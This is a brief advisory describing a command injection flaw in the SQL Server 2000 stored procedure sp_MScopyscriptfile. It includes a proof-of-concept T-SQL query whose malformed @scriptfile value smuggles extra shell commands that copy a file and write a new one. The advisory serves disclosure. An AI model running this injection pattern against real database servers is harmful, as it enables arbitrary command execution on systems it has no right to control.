Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability

The following example was submitted:

By supplying a malformed @scriptfile parameter an attacker can run arbitrary
commands:

use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello >
c:\ccc.bbb & echo "hello',@cmd OUTPUT
print @cmd

The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb.
